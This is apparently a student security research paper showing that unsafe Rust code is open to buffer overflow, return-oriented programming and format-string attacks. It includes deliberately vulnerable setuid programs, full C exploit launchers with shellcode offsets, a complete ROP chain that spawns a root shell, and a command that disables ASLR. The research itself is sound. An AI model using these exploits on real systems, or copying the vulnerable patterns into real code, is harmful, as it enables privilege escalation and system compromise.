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ory and interact with native C codes freely. In this project, we demonstrate
how the use of unsafe keyword can potentially undermine the security
guarantees of Rust. Specifically, we provideworking demonstrations to show
that in some circumstances, vulnerable Rust codes using unsafe can be at-
tacked by traditional buffer overflow, return-oriented programming and for-
mat string vulnerability. We also uncovered some design choices of Rust
binary code generation, and analyzed their advantages and disadvantages
of preventing control flow hijacks.
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1 INTRODUCTION
Rust is designed to be a safe systems programming language [Mat-
sakis and Klock II 2014]. There are a lot of security mechanisms
baked into syntaxes of the language, which can eliminate various
memory safety issues. Examples of those mechanisms include
• Ownership model. It is the flagship feature in Rust to elimi-
nate data races and memory leaks. The ownership model re-
quires that for any object that does not implement the Copy
trait, there exits one and only one variable that owns the ob-
ject. Other variables can only access the object via borrowing.
There can be multiple immutable borrowers but only one
mutable borrower is permitted. In addition, mutable borrow-
ing cannot occur simultaneously with immutable borrowing.
Sticking to this model can prevent data races and eliminate
the risk of illegal pointers, such as iterator invalidation and
use after free.
• Lifetimes. By enforcing lifetime consistency at compile time,
references in Rust cannot point to any invalid resource.
• Bound checking. This prevents accessing illegal index of a
buffer. Hence buffer overflow—if the programmer sticks to
safe APIs of containers—will become impossible.
• Comprehensive type systems and type inference. Type sound-
ness makes sure there is no undefined behavior. A good side
effect is that using Option and Result type removes the
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need of exceptions. This can prevent potential vulnerabili-
ties of exception handlers.

As a systems programming language, Rust has to run efficiently,
interact with native C code (because most operating systems such
as Linux are written in C) which does not use ownership models,
and manipulate memory in a flexible way. Unfortunately, Rust’s
safe syntaxes can sometimes be too dogmatic and prevent it from
doing efficient systems programming tasks. Theway of getting around
this problem in Rust is the unsafe keyword. Rust code in an unsafe
block can
• Call native C functions or unsafe Rust functions.
• Dereference raw pointers. This enables Rust to read andwrite
the memory without ownership constraints.

However, the use of unsafe alsomakes it possible for non-proficient
or malicious programmers to write vulnerable code. This has been
noticed independently by other people. For example, Hosfelt [2017]
tried to dive deep into the stacks of Rust and do traditional buffer
overflow attack for unsafe code (but failed).

In this project, we show that certain vulnerable Rust code using
unsafe are subject to traditional buffer overflow attacks [One 1996],
return-oriented programming [Prandini and Ramilli 2012], format
string vulnerabilities [Scut 2001], and other possible attacks [Cowan
et al. 2000]. Our contributions can be summarized as follows
• For buffer overflow, return-oriented programming and for-
mat string vulnerability, we give vulnerable Rust code and
their corresponding malicious inputs. All the attacks can run
on real systems. To the best of our knowledge, this project
provides the first working attacks for code written in Rust.
• Wealso investigated integer overflow [blexim 1996] andGlobal
Offset Table (GOT) hijacking [c0ntex 2012] for vulnerable
Rust code.
• We uncovered some traits of Rust compilers. More specifi-
cally, we found that Rust compiler does not have an option
to add stack canary. However, we discovered that it turns to
put pointers below buffers in the stack, complying with the
strategy of ProPolice [Etoh 2000]. This makes the conven-
tional approach to overflowing pointers impossible.

2 BACKGROUND
In this section, we explain the stack layout of functions and how
control flow hijacking works. For this project, we only consider
32-bit i686 systems. The ideas can be easily generalized to other
architectures.

2.1 Stack frame
The stack frame (as shown in Fig. 1(a)) is a piece of memory al-
located on the stack for a function. It is used to store its function
arguments, return addresses, local variables and other runtime in-
formation. There are two registers, esp and ebp, that are critical in
stackmanipulations. esp is called the stack pointer, and it stores the
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Fig. 1. Buffer overflow. (a) is the normal layout of a stack frame; (b) shows how buffer overflow can alter the return address stored on the stack.

address of current stack head. ebp is the stack frame pointer, which
stores the beginning address of previous stack frame. Whenever a
function gets called, the following assembly code will be executed

push ebp ; put %ebp into the stack
mov ebp, esp ; %ebp now temporarily stores %esp
; ...
mov esp, ebp ; recover %esp
pop ebp ; recover %ebp.
ret ; return to the address stored in %esp + 4

Therefore, address information in the beginning of current stack
frame contains the return address and stored ebp, both of which
are critical for control flow. If the return address is changed, ret
will run code somewhere else. Similarly, if the stored ebp has been
altered, pop ebp will give the ebp register a wrong value, which
will affect the return address of the caller function.

2.2 Buffer overflow
Buffer overflow is a popular way of changing the return address
stored on the stack. Suppose there is a buffer allocated below the re-
turn address. Furthermore assume the code is buggy and the buffer
stores more bytes than permitted. As shown in Fig. 1, the extra
bytes can overwrite the return address which will lead to a different
control flow when the current function returns.
In a buffer overflow attack, the user can control the content stored

in the buffer. Due to the buffer overflow bug, he can store more
bytes to overwrite the return address. A malicious user can then
alter the return address to point to somewhere in the buffer. If the
user stores machine code in the buffer, after the current function
returns, the code will be executed. Therefore, buffer overflow gives
the user a way to do potentially anything he wants.
A common practice of exploiting buffer overflow is to hijack the

return address to spawn a shell. This requires the user to store
shellcode in the buffer, and change the return address to it. There
are some practical requirements for the shellcode, for example, it
should not contain 0x00, which will be treated as end of string '\0'.
If the buffer is a string buffer, the shellcode will be terminated at
0x00. One [1996] has provided an implementation of shellcodewith-
out 0x00, which can be easily used as inputs to a string buffer.

2.3 Return-oriented programming
In order to prevent attack code execution, modern CPUs and oper-
ating systems support executable space protection. They can mark
stacks to be non-executable to avoid running shellcode in the buffer.

However, data execution prevention (DEP) is not enough for de-
fending against control flow hijacking.

Return-oriented programming [Prandini and Ramilli 2012] by-
passes DEP by exploiting code already exists in the program. It
can hijack control flowwithout injecting code. Suppose after buffer
overflow, we want to run the following code with return-oriented
programming

mov eax, 11
mov ebx, 0
mov ecx, 0
syscall

The first step is to find code snippets in the program or linked li-
braries that end with a ret. Also known as gadgets, those code
snippets can be chained to do powerful things. In order to execute
the above assembly code, the following 4 code gadgets can be espe-
cially useful:
pop eax | pop ebx | pop ecx | syscall
ret | ret | ret | ret

Fig. 2 shows how to arrange the addresses of those gadgets on the
stack in a proper way. Note that the stack now does not include any
executable code—they only include addresses to gadgets and some
auxiliary values. It turns out to be surprisingly easy to find use-
ful gadgets in a moderate-sized program, and one can easily chain
them to do malicious things, such as spawning a shell.

2.4 Format string vulnerability
This is a security vulnerability that results from abusing C format
string functions, such as printf, sprintf, and snprintf. A func-
tion like printf can take a single string as an argument

printf("CS242 is a great course!");

It can also take a format string and some corresponding values as
arguments, such as

printf("%s is a great course!", "CS242");

However, what happens if we use the following?

printf("%s is a great course!");

The printf function will try to find the absent argument corre-
sponding to %s. Since function arguments are pushed onto the stack
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Fig. 2. Chaining all the gadgets by arranging their addresses properly in the stack.

before the function gets called, printfwill actually try to fetch any-
thing on the stack right before printf’s stack frame, interpret it as
a string, and output it to the screen. This behavior makes it possible
for a malicious user to walk up the stack and read control informa-
tion. Even worse, format strings have a special format placeholder
%n, which can be used to write bytes onto the stack. The attacker
can then combine %n and other placeholders to write potentially
arbitrary things to the stack, including changing stack return ad-
dresses for control flow hijacking.
Rust standard libraries and macros do not contain C-like format

string functions. However, it is easy and common to interact with
C code with Rust. In this project, we study whether format string
vulnerability in a C library canmaliciously affect Rust code through
Foreign Function Interface (FFI).

2.5 Integer overflow
If two unsigned integers are very large, their summation might
be smaller than either of the summand due to integer overflow.
Surprisingly, this can also be exploited for buffer overflow. blexim
[1996] provides a piece of vulnerable C code that can be attacked
by integer overflow:

int catvars(char *buf1, char *buf2, unsigned int len1,
unsigned int len2){
char mybuf[256];

if((len1 + len2) > 256){ /* [1] */
return -1;

}

memcpy(mybuf, buf1, len1);
memcpy(mybuf + len1, buf2, len2); /* [2] */

do_some_stuff(mybuf);

return 0;
}

When len1 = 0x80 and len2 = 0xffffff80, because of integer
overflow, we will get len1 + len2 == 0. As a result, safe guard at
[1] will get compromised and buffer overflow occurs at [2].

2.6 Hijacking the Global Offset Table (GOT)
The Global Offset Table (GOT) is located in the .got section of an
ELF executable. When the executable requests to use a function in
a shared library (such as printf), it will first use rtld to locate the

symbol, and write its absolute location in the corresponding GOT
entry. Afterwards, when the executable wants to call that function
again, it can directly access the GOT.

This poses a potential security threat: If we can hijack a pointer
in the program (for example using buffer overflow), we might redi-
rect it to some GOT entry and change the stored location to some
function we want. The program might then execute the malicious
function through a hijacked GOT entry.

An example of vulnerable program was given in c0ntex [2012]:

int main(int argc, char **argv)
{

char *pointer = NULL;
char array[10];

pointer = array;

strcpy(pointer, argv[1]); /* [1] */
printf("Array contains %s at %p\n", pointer, &pointer);
/* [2] */
strcpy(pointer, argv[2]); /* [3] */
printf("Array contains %s at %p\n", pointer, &pointer);
/* [4] */

return EXIT_SUCCESS;
}

We can use [1] to overflow array to modify pointer such that it
points to the GOT entry of printf. Then we exploit [3] to over-
write theGOT entrywith the location of some function, e.g., system.
After that, calling printf again in [4]will be hijacked to call system.

Rust programs will have a similar security issue if its raw point-
ers can be hijacked by buffer overflow.

3 APPROACHES
In this section, we show real world examples of attacking vulnera-
ble Rust code, with the techniques introduced in the previous sec-
tion. All Rust code is compiled in the debug mode. They can be gen-
eralized to release mode in principle, but will require more efforts
because of missing debugging information. While doing the exper-
iments, we were not aware of, and hence did not use any rustc
options that can turn off security guards.

3.1 Environment
All code was written and run on a customized 32-bit Ubuntu 16.04.2
LTS system. TheAddress Space Layout Randomization (ASLR [Team
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2003]) is disabled. ASLR is a memory-protection process of the op-
erating system that guards against buffer-overflow attacks by ran-
domizing the location where executables are loaded into memory.
We disable it to focus on language specific defends and proof of
concept experiments.
We are using a virtual machine provided by CS155. You can also

run the following command to disable ASLR

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

and do experiments on any other Linux system. For bypassing DEP,
we enable executable stack via

execstack -s my_binary

For the return-oriented programming experiment, we generate
Rust code with static linkage. This requires us to install MUSL, a
lightweight open source implementation of C standard library, with
the following command

rustup add target i686-unknown-linux-musl

3.2 Buffer overflow
In Rust, a buffer should be an ordinary array. Hosfelt [2017] tries to
overflow a Vec in Rust and failed because Vec is dynamically allo-
cated in the heap. Hosfelt [2017] therefore gives the wrong conclu-
sion that Rust is resistant to buffer overflow attack even if unsafe
is used. Different from Hosfelt [2017], we propose to attack the fol-
lowing vulnerable Rust code

use std::env;
use std::os::unix::ffi::OsStringExt;
use std::ffi::OsString;
use std::ptr::copy;
extern crate libc;

fn bar(target: *mut u8, source: *const u8, len:usize){
unsafe{copy(source, target, len);}

}
fn foo(argv: &[u8]){

let mut buf = [0u8; 256];
let p_source = &argv[0] as *const u8;
let p_target = &mut buf[0] as *mut u8;
bar(p_target, p_source, argv.len());

}
fn main() {

let argv: Vec<OsString> = env::args_os().collect();
let argv = argv[1].clone().into_vec();
unsafe{libc::setuid(0);}
foo(&argv[..]);

}

This program takes a string from command line input, and calls foo
to store it in the u8 array using bar function.
Our goal as an attacker is to give the program a string input to

spawn a shell with root privileges. We use the following template
to run our Rust program with different inputs

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "overflow" // path to the Rust binary

int main(void)
{

char exploits[286];
memset(exploits, 0x90, sizeof(exploits)); /* [1] */
memcpy(exploits, shellcode, sizeof(shellcode) - 1);
/* [2] */
exploits[285] = 0;
int* address = (int*)(exploits + 280); /* [3] */
*address = 0xbffffa44; /* [4] */
char *args[] = { TARGET, exploits , NULL };
char *env[] = { NULL };

execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");

return 0;
}

Here [1] fills the exploit string with 0x90, which is the binary rep-
resentation of nop. We then copy a prescribed shellcode [One 1996]
to the string ([2]). Now the difficulty becomes where to put the ad-
dress in the buffer ([3]) andwhat value to put ([4]). To this end, we
need to know the location of buf and return address of function foo.
We can fill some random numbers in [3] and [4], compile Rust in
debug mode and use GDB [Stallman and Pesch 1991] to determine
the values.

(gdb) x buf
0xbffffa44: 0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffffb60:
eip = 0x8000ab2b in overflow::foo (src/main.rs:12); saved

eip = 0x8000ad08
called by frame at 0xbffffbe0
source language minimal.
Arglist at 0xbffffb58, args: argv=&[u8](len: 285) = {...}
Locals at 0xbffffb58, Previous frame's sp is 0xbffffb60
Saved registers:
ebx at 0xbffffb54, ebp at 0xbffffb58, esi at 0xbffffb4c,

edi at 0xbffffb50, eip at 0xbffffb5c
(gdb) p/d 0xbffffb5c - 0xbffffa44
$1 = 280

From the result we know that the address of buf is 0xbffffa44, which
is the value at [4]. We also know the return address is 0xbffffb5c
and the offset is 0xbffffb5c - 0xbffffa44 = 280, which is the value for
[3]. Let us save the attack code as exploit_overflow.c and run
it. The result shows
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user@vm-cs155:~/project/bof/overflow/exploits$
./exploit_overflow

# whoami
root

meaning the Rust code has been successfully hijacked.

3.3 Return-oriented programming
For the attack described in the previous section to work, we have
to bypass DEP by running execstack -s. This is undesirable be-
cause most modern operating systems have DEP enabled. In this
section, we investigate hijacking control flow with return-oriented
programming, which is still effective with DEP.
Our target Rust program is the same as in previous section. How-

ever, instead of shellcode, we want to use return-oriented program-
ming to call

execve("/bin/sh", NULL, NULL)

To reproduce the system call execvewemust know its convention—
when registers have the following values

eax = 0x0b
ebx = "/bin/sh" (char *)
ecx = "" (char *)
edx = "" (char *)

calling int 0x80 will do the job. Therefore, for spawning the shell,
we need to find gadgets which can manipulate registers eax, ebx,
ecx and edx. We also need a gadget to invoke int 0x80.

In fact, our vulnerable Rust program only contains 20 lines of
code. This makes finding appropriate gadgets nearly impossible. To
mimic attacking a moderate-sized program, we compile the Rust
program statically, so that the resulting binary contains the libc
code. With libc statically linked, the binary has enough size to
contain some interesting gadgets.
By running objdump and grep, we can find useful gadgets in the

Rust binary for manipulating eax, ebx, and edx:

0x0809e850: pop eax; ret;
0x08048186: pop ebx; ret;
0x080a2cb7: pop edx; ret;
0x0809f043: int 0x80; ret;

and the following gadget can manipulate ecx with some side ef-
fects:

0x080b96fc : pop ecx ; test dword ptr [edx], eax ; add bh,
byte ptr [ebx - 0x39383af6]; ret;

However, even if we have the pop eax; ret gadget, we cannot
write 0x0000000b in the stack and pop it to eax. This is because
0x0000000b contains 0x00 and will be treated as the termination
character "\0" for a string. Considering that, we need to find some
gadgets to do arithmetics for eax, hoping to calculate 0x0000000b
without putting it explicitly on the stack:

0x080720ab: xor eax, eax; ret;
0x0804af24: inc eax; pop esi; pop ebx; pop ebp; ret;

Note that we can apply gadget 0x080720ab to clear eax and use
gadget 0x0804af24 11 times to get eax = 0x0b.

Now we need to use those gadgets to point eax to the string
"\bin\sh" (which can be stored on stack), and point ecx, edx to
some null string. However, the 0x00 problem arises again because
we cannot store null strings on the stack. Luckily, we can set eax
to 0 with gadget 0x080720ab, and the following gadget will help us
put the value of eax on the stack:

0x080a342a: mov dword ptr [edx], eax; xor eax, eax; pop
ebx; pop edi; ret;

Given all the gadgets, we can organize them in the followingway
to spawn a shell:

(1) Fill "\bin\sh" on the stack.
(2) Use gadgets 0x080a2cb7 and 0x080a342a to put null strings

on the stack.
(3) Use gadgets 0x080a2cb7, 0x08048186, and 0x080a342a to set

ecx. Here the auxiliary values of edx and ebx should be set
carefully in prevention of segmentation faults. We need to
set ecx before setting other registers because the gadgets can
corrupt eax.

(4) Use gadget 0x080720ab to reset eax. Afterwards, repeat gad-
get 0x0804af24 11 times to set eax = 0x0b.

(5) Use gadget 0x08048186 to point ebx to the null string.
(6) Use gadget 0x080a2cb7 to point edx to the null string.
(7) Use gadget 0x0809f043 to invoke execve.

The attacking code is actually fairly complicated, thereforewe defer
it to Appendix A. Screenshots of successful attacks are provided in
Appendix B.

3.4 Format string vulnerability
C format string functions are very handy for constructing compli-
cated strings, and are arguably more powerful than Rust string for-
matting macros. In this section, we study how the vulnerability of
C format string functions can affect a Rust program if the Rust pro-
grammer decides to use them via FFI.

Let us first wrap a C format string function snprintf as a static
library:

#include <string.h>
void fmtstring(char buf[], unsigned int size, char *arg){

snprintf(buf, size, arg);
}

Our proposed vulnerable Rust code that depends on the above
library is

use std::env;
use std::os::unix::ffi::OsStringExt;
use std::ffi::OsString;

ACM Transactions on Graphics, Vol. 9, No. 4, Article 39. Publication date: December 2017.



39:6 • Song, Y. et al

extern {
fn fmtstring(buf: *mut u8, size: u32, arg: *const u8);

}

fn copy_str(buf: &mut[u8], size: u32, arg: &[u8]){
unsafe{fmtstring(buf.as_mut_ptr(), size, arg.as_ptr());}

}

fn foo(arg: &[u8]){
let mut buf = [0u8; 400];
copy_str(&mut buf, 400, arg);
let print = String::from_utf8_lossy(&buf);
println!("{}", print);

}

fn main() {
let argv: Vec<OsString> = env::args_os().collect();
let argv = argv[1].clone().into_vec();
unsafe{libc::setuid(0);}
foo(&argv[..]);

}

Specifically, the Rust code utilizes fmtstring in our C library to
copy its command line argument to an array buf in function foo.
After the copy finished, the program will print out the content of
buf on screen.
Different from the buffer-overflow case, the copy_str function

actually has a length limit. This ensures that buf will never over-
flow and contaminate the return address of foo. However, since the
command line argument is treated as a format string in snprintf,
we can design it carefully to hijack the control flow.

As noted in Section 2.4, when the format string contains format
placeholders, snprintf will try to walk up the stack to fetch vari-
ables as if they had been provided to snprintf as additional ar-
guments. In this case, we can mix some specific number of %x in
the format string such that snprintfwill reach the location of buf.
After that, we can provide a %n placeholder to write the number of
bytes we have printed so far into an address stored in buf. If that ad-
dress is the return address of foo, the control flow will be hijacked.
The trick here is to arrange values in buf and format placeholders
in a smart way so that the return address of foo will be redirected
to the location of shellcode in buf.
Our code template for exploiting format string vulnerability is

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

/* Path to the vulnerable Rust binary */
#define TARGET "fmtstring"

int main(void)
{

char exploit[400];
memset(exploit, 0x90, sizeof(exploit));
exploit[399] = '\0';
*(int*) exploit = 0x11111111;
*(int*) (exploit + 4) = 0xbffffaac; /*[1]*/

*(int*) (exploit + 8) = 0x11111111;
*(int*) (exploit + 12) = 0xbffffaad;/*[2]*/
*(int*) (exploit + 16) = 0x11111111;
*(int*) (exploit + 20) = 0xbffffaae;/*[3]*/
*(int*) (exploit + 24) = 0x11111111;
*(int*) (exploit + 28) = 0xbffffaaf;/*[4]*/
memcpy(exploit+32, shellcode, sizeof(shellcode) - 1);

int count = 100;
for(count = 100; count < 100 + 2 * 50; count += 2)
/* [5] */
memcpy(exploit + count, "%x", 2);

memcpy(exploit + count, "%357u%n", 7); /* [6] */
memcpy(exploit + count + 7, "%536u%n", 7);/*[7]*/
memcpy(exploit + count + 14, "%263u%n", 7);/*[8]*/
memcpy(exploit + count + 21, "%192u%n", 7);/*[9]*/

char *args[] = { TARGET, exploit , NULL };
char *env[] = { NULL };

execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");

return 0;
}

We hope to modify the return address four times, and each time
only write one byte. It can greatly reduce the difficulty of choosing
the numbers at [6], [7], [8], and [9]. The locations to write are
encoded in [1], [2], [3] and [4]. The number of iterations in [5]
is determined based on the distance between snprintf and buf on
the stack. As in Section 3.2, the information of values at [1], [2],
[3], [4] and [5] can be directly obtained from GDB.

(gdb) info frame
Stack level 0, frame at 0xbffffab0:
eip = 0x8000b0c1 in fmtstring::foo (src/main.rs:16); saved

eip = 0x8000b348
called by frame at 0xbffffb30
source language minimal.
Arglist at 0xbffffaa8, args: arg=&[u8](len: 399) = {...}
Locals at 0xbffffaa8, Previous frame's sp is 0xbffffab0
Saved registers:
ebx at 0xbffffaa4, ebp at 0xbffffaa8, esi at 0xbffffa9c,

edi at 0xbffffaa0, eip at 0xbffffaac
(gdb) x buf
0xbffff8c0: 0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffff7ec:
eip = 0xb7e1b6a0 in __snprintf (snprintf.c:28); saved eip =

0x8000b557
called by frame at 0xbffff800
source language c.
Arglist at 0xbffff7e4, args: s=0xbffff8c0 "", maxlen=400,
format=0xb7821380 "\021.../bin/sh", '\220' <repeats 23

times>, "%x%x"...
Locals at 0xbffff7e4, Previous frame's sp is 0xbffff7ec
Saved registers:
eip at 0xbffff7e8
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(gdb) p/d (0xbffff8c0 - 0xbffff7ec) / 4 - 3
$1 = 50

The values used at [6], [7], [8], and [9] can also be obtained one
by one with the help of GDB as well. The screenshots of successful
attacks are in Appendix 2.4.

3.5 Integer overflow
In debugmode, Rust has the so-called arithmetic overflow check [Wil-
son 2016]. In other words, Rust will panic if an integer overflow
happens at runtime. This check is valid even in unsafe blocks. If
overflow is desirable for implementing certain applications (such
as hashing algorithms, ring buffers and image codecs), programmer
can use some wrapper functions, e.g., overflowing_add.

In release mode Rust will not check integer overflow due to per-
formance considerations. We can attack it in principle, but due to
lack of debugging information we gave it up after a few attempts.

3.6 Hijacking the GOT
In this attack, we try to overwrite a Rust raw pointer with buffer
overflow and use it to hijack GOT entries. We adapt the code in
c0ntex [2012] to Rust:

extern crate libc;
use std::env;
use std::os::unix::ffi::OsStringExt;
use std::ffi::OsString;
use std::ffi::CString;
use std::ptr::copy;

fn main() {
let argv: Vec<OsString> = env::args_os().collect();
let format = argv[1].clone().into_vec();
let arg1 = argv[2].clone().into_vec();
let arg2 = argv[3].clone().into_vec();
let format_cstr = CString::new(format).unwrap();

let mut p:*mut u8;
let mut buf = [0u8; 10];
p = buf.as_mut_ptr() as *mut u8;

unsafe{
libc::setuid(0);
copy(arg1.as_ptr(), p, arg1.len());
libc::printf(format_cstr.as_ptr(), p as *const i8);
copy(arg2.as_ptr(), p, arg2.len());
libc::printf(format_cstr.as_ptr(), p as *const i8);

}
}

However, the stack layout of Rust program is different from our
expectation. From the GDB result

(gdb) print &p
$1 = (u8 **) 0xbffff230
(gdb) print &buf
$2 = (u8 (*)[10]) 0xbffff234

we can observe that p is actually located below buf. Since buffers
grow upward on the stack, it is impossible to use buf to overwrite p.
This layout complieswith a security technique called ProPolice [Etoh
2000].

4 ANALYSES AND CONCLUSION
As a rising system programming language, the design of Rust has
incorporated wisdom from decades of research in computer secu-
rity. With the ownership model, lifetime checking at compile time,
runtime bound checking, a stringent type system and other designs,
it is much easier to write safe code in Rust compared to C/C++.

However, Rust also has to deal with the dirty aspects of system
programming, and unsafe is its compromise. In this project, we
study howmuch unsafe can undermine Rust’s security guarantees.
It is surprising to see that breaking unsafe Rust code is relatively
easy, and Rust’s compiler does not seem to be ready for those chal-
lenges.

From Section 3.6, we observe that Rust’s compiler will put point-
ers below buffers on the stack. This is a good practice and has long
been incorporated into GCC compilers. However, it is strange to
see that Rust’s compiler does not implement any stack protection
mechanism such as canaries.1 In contrast, adding canaries to func-
tions with buffers defined on the stack has already become the de-
fault behavior of GCC.

Let us take the foo function from Section 3.2’s vulnerable code
as an example. The assembly code generated by rustc has the fol-
lowing function epilogue:

pop ebp
ret

But if we translate it from Rust to C, the code generated by GCC
(with default options in debug mode) has the following epilogue:

mov -0x4(%ebp),%eax
xor %gs:0x14,%eax
je 0x804857d <foo+74>
call 0x80483b0 <__stack_chk_fail@plt>
leave
ret

where leave is a command equivalent to the combination of mov
esp, ebp and pop ebp. Obviously before returning from a function,
the assembly code generated by GCC checks whether the canary
has been modified or not.

There might be multiple reasons that Rust does not have this ca-
nary. First of all, it is not typical to use unsafe raw pointers to
manipulate arrays in Rust, and therefore buffer overflow is rare.
However, one can easily imagine more hardware-oriented applica-
tions of Rust, such as embedded systems and SoCs, will require a
lot of low-level memory operations through raw pointers. Secondly,
problems can only happen within an unsafe block, and it already
alerts the programmer. However, unsafe can be easily conceived

1Stack canary is a randomized data segment right before the return address. Whenever
a function returns the program will check the canary to see whether return address
has been overflowed from below.
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because calling a function with unsafe statements inside does not
require enclosing the function call with a unsafe block. Last but
not least, checking canaries can actually slow down program exe-
cution, which is undesirable for systems programming. However,
even if this is the concern of Rust, it should at least provide a com-
piler option for doing trade-off. Overall, it seems reasonable to im-
plement canaries and other stack guards in rustc.
The format string attack also indicates that even if Rust code is

safe, it can be contaminated by vulnerable C libraries via FFI. It is
astonishing to see that a problematic C function call can actually
change the return address of a Rust function and hijack the control
flow of Rust. This inspires us to think of whether we can sandbox
the security threats to make sure it does not harm other parts of
the program. Although arguably all security flaws can be traced to
some unsafe block, it is not guaranteed that the effect can be safely
constrained within the unsafe block.

Security guards on the operating system level, such as ASLR and
DEP, are also very important for computer security. Their effects
are the same for different languages and compilers. However, since
our goal is to focus on a specific programming language and proof
of concept attacks, we did not enable them in the experiments.
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A RETURN-ORIENTED PROGRAMMING ATTACK CODE

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "overflow_static"

int main(void)
{

int base = 0x00000000;
int buf_address = 0xbffff894;

char exploits[800];
memset(exploits, 0x90, sizeof(exploits));

exploits[0] = '/';
exploits[1] = '/';
exploits[2] = 'b';
exploits[3] = 'i';
exploits[4] = 'n';
exploits[5] = '/';
exploits[6] = 's';
exploits[7] = 'h';

//useful gadgets:
//0x080b96fc : pop ecx ; test dword ptr [edx], eax ; add bh, byte ptr [ebx - 0x39383af6] ; ret
//0x0809e850: pop eax; ret;
//0x08048186: pop ebx; ret;
//0x080a2cb7: pop edx; ret;
//0x0809f043: int 0x80; ret;
//0x080a342a: mov dword ptr [edx], eax; xor eax, eax; pop ebx; pop edi; ret;
//0x080720ab: xor eax, eax; ret;
//0x0804af24: inc eax; pop esi; pop ebx; pop ebp; ret;

int *payload = (int*)(exploits + 280);
int offset0 = 8;
int offsetb = 12;

//make 0x00000000
*payload++ = 0x080a2cb7 + base;
*payload++ = buf_address + offset0;
*payload++ = 0x080720ab + base;
*payload++ = 0x080a342a + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;

//ecx
*payload++ = 0x080a2cb7 + base;
*payload++ = buf_address;
*payload++ = 0x08048186;
*payload++ = buf_address + 0x39383af6;
*payload++ = 0x080b96fc + base;
*payload++ = buf_address + offset0;

//eax = 0x0b
*payload++ = 0x080720ab + base;
*payload++ = 0x0804af24 + base;
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*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//2
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//3
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//4
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//5
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//6
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//7
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//8
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//9
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//a
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//b
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;

//ebx
*payload++ = 0x08048186 + base;
*payload++ = buf_address;

//edx
*payload++ = 0x080a2cb7 + base;
*payload++ = buf_address + offset0;
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//int 0x80
*payload = 0x0809f043 + base;

char *args[] = { TARGET, exploits , NULL };
char *env[] = { NULL };

execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");

return 0;
}

B SCREENSHOTS

Fig. 3. Screenshot of buffer overflow attack.
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Fig. 4. Screenshot of return-oriented programming attack.

Fig. 5. Screenshot of exploiting format string vulnerability.
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